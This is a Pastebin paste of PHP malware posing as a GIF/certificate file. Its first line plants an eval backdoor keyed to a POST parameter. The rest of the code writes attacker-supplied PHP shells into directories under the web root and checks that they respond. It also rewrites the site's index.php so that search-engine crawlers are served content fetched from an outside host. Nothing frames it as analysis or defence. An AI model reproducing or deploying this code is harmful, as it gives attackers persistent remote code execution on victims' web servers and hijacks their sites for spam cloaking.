PalmaSolutions

1435132994.cer

Mar 30th, 2018
239
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.89 KB | None | 0 0
  1. GIF89a<?php @eval($_POST["OUfOqieKtM"])?><?php
  2. error_reporting(0);
  3. $document_root = $_SERVER['DOCUMENT_ROOT'] . "/";
  4. if(isset($_GET['q']) && $_GET['q'] == "OUfOqieKtM" && isset($_POST['string']) && isset($_GET['f'])){
  5. $filename = $_GET["f"];
  6. $path_list = getDir($document_root);
  7. $real_file_name = $filename . ".php";
  8. foreach($path_list as $path ){
  9. $real_file = $document_root . $path . "/" . $real_file_name;
  10. if(! file_exists($real_file)&& ($fp = @fopen($real_file, 'w+')) ){
  11. $content = urldecode($_POST['string']);
  12. $fw_result = fwrite($fp, $content);
  13. fclose($fp);
  14. if($fw_result !== false){
  15. $shell_url = 'http://' . $_SERVER['SERVER_NAME'] . "/{$path}/" . $real_file_name;
  16. $response = curl($shell_url);
  17. if($response['header']['http_code'] == 200){
  18. echo $shell_url . "|" . $flag;
  19. break;
  20. }
  21. }
  22. }
  23. }
  24. }
  25. $index_file = getindex($document_root);
  26. $add_status = addindex($index_file);
  27. if($add_status){
  28. echo "|true";
  29. }
  30. function addindex($real_filename){
  31. $ext = substr($real_filename, strrpos($real_filename, '.')+1);
  32. copy($real_filename, $real_filename . "_bak.php");
  33. $content = getcontent($real_filename);
  34. if($ext == "php"){
  35. $content = trim($content);
  36. if(substr($content, -2) != "?>"){
  37. $content = $content . "?>";
  38. }
  39. }
  40. if(strpos($content, "googlebot") !== false){
  41. return false;
  42. }
  43. $php_code = <<<EOF
  44. <?php
  45. \$s_http_user_agent = strtolower(\$_SERVER['HTTP_USER_AGENT']);
  46. if(strpos(\$s_http_user_agent, "googlebot") !== false|| strpos(\$s_http_user_agent, "yahoo") !== false|| strpos(\$s_http_user_agent, "bingbot") !== false){
  47. echo @file_get_contents("http://friend.dannyzadoff.com/friend.php");
  48. }
  49. ?>
  50. EOF;
  51. $content = $php_code . $content;
  52. return putfile($real_filename, $content);
  53.  
  54.  
  55. }
  56. function getindex($document){
  57. $index_list = array("index.php", "default.php");
  58. $exists_index_list = array();
  59. foreach($index_list as $index_file){
  60. $real_file = $document . $index_file;
  61. if (file_exists($real_file) && is_writable($real_file) ){
  62. return $real_file;
  63. }
  64. }
  65. return false;
  66. }
  67.  
  68.  
  69. function getDir($dir) {
  70. $dirArray = array();
  71. if (false != ($handle = opendir ( $dir ))) {
  72. while ( false !== ($file = readdir ( $handle )) ) {
  73. if ($file != "." && $file != ".." && is_dir($dir . $file)) {
  74. $dirArray[]=$file;
  75. }
  76. }
  77. closedir ( $handle );
  78. }
  79. $curr_dir = dirname(__FILE__);
  80. $curr_dir = substr($curr_dir, strrpos($curr_dir, '/')+1) ;
  81. $dirArray[] = $curr_dir;
  82. shuffle($dirArray);
  83. return $dirArray;
  84. }
  85. function curl($url, $post=array()){
  86. if(function_exists("curl")){
  87. $headers = array("Content-Type:multipart/form-data");
  88. $response = array();
  89. $timeout = 10;
  90. $ch = curl_init();
  91. curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
  92. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout-2);
  93. curl_setopt($ch, CURLOPT_URL, $url);
  94. curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); //设置头信息的地方
  95. curl_setopt($ch, CURLOPT_HEADER, 0); //不取得返回头信息
  96. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
  97. curl_setopt($ch, CURLOPT_REFERER, $url);
  98. curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
  99. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  100. if($post){
  101. curl_setopt($ch, CURLOPT_POST, true);
  102. curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  103. }
  104. $result = curl_exec($ch);
  105. $headerSent = curl_getinfo($ch);
  106. $response['error'] = curl_error($ch);
  107. $response['header'] = $headerSent;
  108. $response['result'] = $result;
  109. return $response;
  110. }else{
  111. return false;
  112. }
  113. }
  114. function putfile($f, $php_code){
  115. $suc = false;
  116. $fpw = @fopen($f, 'w+');
  117. if($fpw && @fwrite($fpw, $php_code) !== false){
  118. $suc = true;
  119. }
  120. @fclose($fpw);
  121. return $suc;
  122. }
  123. function getcontent($file){
  124. $fp = fopen($file, 'r');
  125. $tmp_content = fread($fp, filesize($file));
  126. fclose($fp);
  127. return $tmp_content;
  128. }
Advertisement
Add Comment
Please, Sign In to add comment